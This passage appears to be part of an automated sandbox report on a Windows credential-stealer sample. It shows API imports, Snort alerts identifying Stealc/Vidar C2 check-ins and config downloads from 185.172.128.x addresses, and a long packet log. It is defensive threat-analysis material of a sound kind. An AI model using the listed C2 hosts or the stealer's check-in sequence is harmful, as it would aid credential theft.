HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, FlushFileBuffers, CreateFileA, CloseHandle

ADVAPI32.dll

ReadEventLogA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/23/24-09:37:58.060876	TCP	2856233	ETPRO TROJAN Win32/Unknown Loader Related Activity (GET)	49730	80	192.168.2.4	185.172.128.90
04/23/24-09:38:03.378645	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49733	185.172.128.76	192.168.2.4
04/23/24-09:38:02.366935	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49733	80	192.168.2.4	185.172.128.76
04/23/24-09:38:02.760156	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49733	80	192.168.2.4	185.172.128.76
04/23/24-09:38:03.067514	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49733	185.172.128.76	192.168.2.4
04/23/24-09:38:03.069125	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49733	80	192.168.2.4	185.172.128.76

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 09:37:57.854985952 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 23, 2024 09:37:58.060626984 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 23, 2024 09:37:58.060875893 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 23, 2024 09:37:58.060875893 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 23, 2024 09:37:58.266511917 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 23, 2024 09:37:59.542831898 CEST	80	49730	185.172.128.90	192.168.2.4
Apr 23, 2024 09:37:59.543816090 CEST	49730	80	192.168.2.4	185.172.128.90
Apr 23, 2024 09:37:59.554719925 CEST	49731	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:37:59.757142067 CEST	80	49731	185.172.128.228	192.168.2.4
Apr 23, 2024 09:37:59.757272005 CEST	49731	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:37:59.757427931 CEST	49731	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:37:59.959918976 CEST	80	49731	185.172.128.228	192.168.2.4
Apr 23, 2024 09:37:59.960088968 CEST	80	49731	185.172.128.228	192.168.2.4
Apr 23, 2024 09:37:59.961350918 CEST	49731	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:37:59.976074934 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.181643963 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.181817055 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.181932926 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.387489080 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387670994 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387763977 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387801886 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387839079 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387861967 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.387876034 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387912035 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387933969 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.387953043 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.387957096 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.387990952 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.388026953 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.388044119 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.388063908 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.388151884 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.593868971 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.593929052 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594017982 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594039917 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594058990 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594095945 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594096899 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594132900 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594168901 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594175100 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594204903 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594239950 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594248056 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594275951 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594314098 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594320059 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594351053 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594386101 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594386101 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594422102 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594458103 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594465017 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594492912 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594528913 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594533920 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594564915 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594600916 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594603062 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.594655991 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.594697952 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800405025 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800477028 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800560951 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800601006 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800627947 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800643921 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800682068 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800720930 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800726891 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800726891 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800756931 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800793886 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800810099 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800832033 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800868988 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800879002 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800915003 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800956964 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.800992012 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.800992966 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801031113 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801050901 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801070929 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801095009 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801109076 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801132917 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801146030 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801182032 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801193953 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801218033 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801255941 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801271915 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801291943 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801327944 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801346064 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801362991 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801382065 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801398039 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801414013 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801415920 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801429987 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801438093 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801450014 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801465988 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801481962 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801496029 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801498890 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801516056 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801517010 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801534891 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801552057 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801556110 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801568031 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801584005 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801593065 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801599979 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801613092 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801618099 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801636934 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:00.801657915 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:00.801691055 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007277012 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007383108 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007472992 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007510900 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007524014 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007550001 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007591009 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007630110 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007637978 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007663012 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007667065 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007702112 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007723093 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007756948 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007775068 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007793903 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007831097 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007847071 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007867098 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007904053 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007925034 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.007941961 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007977962 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.007997036 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008013964 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008049011 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008084059 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008085012 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008145094 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008148909 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008183002 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008219004 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008239985 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008255005 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008296013 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008315086 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008332014 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008368969 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008390903 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008404970 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008441925 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008461952 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008480072 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008517027 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008537054 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008552074 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008589029 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008610964 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008625984 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008661985 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008685112 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008698940 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008733988 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008766890 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008769989 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008805990 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008821011 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008842945 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008879900 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008899927 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008917093 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008955956 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.008980036 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.008991957 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009027958 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009047031 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009063959 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009097099 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009099007 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009121895 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009135008 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009171963 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009190083 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009207010 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009243965 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009258986 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009279013 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009315014 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009332895 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009350061 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009387016 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009403944 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009423018 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009458065 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009475946 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009494066 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009529114 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009543896 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009565115 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009599924 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009617090 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009635925 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009670973 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009685993 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009707928 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009742975 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009759903 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009778976 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009814978 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009833097 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009852886 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009887934 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009893894 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009923935 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009959936 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.009975910 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.009995937 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010031939 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010046959 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.010067940 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010104895 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010128021 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.010139942 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010175943 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010210991 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010246992 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010283947 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.010373116 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.010435104 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216187954 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216255903 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216344118 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216382027 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216398954 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216423988 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216463089 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216470003 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216500998 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216525078 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216541052 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216578007 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216593027 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216615915 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216650963 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216665983 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216686964 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216723919 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216743946 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216761112 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216798067 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216816902 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216833115 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216867924 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216887951 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216903925 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216941118 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.216955900 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.216976881 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217011929 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217047930 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217061043 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217084885 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217101097 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217120886 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217156887 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217174053 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217195034 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217232943 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217250109 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217268944 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217308044 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217324972 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217343092 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217379093 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217400074 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217416048 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217452049 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217467070 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217489004 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217524052 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217538118 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217561007 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217597961 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217624903 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217634916 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217672110 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217695951 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217706919 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217742920 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217763901 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217777967 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217813969 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217828035 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217849970 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217885017 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217895031 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217921019 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217957020 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.217966080 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.217993021 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218028069 CEST	80	49732	185.172.128.59	192.168.2.4
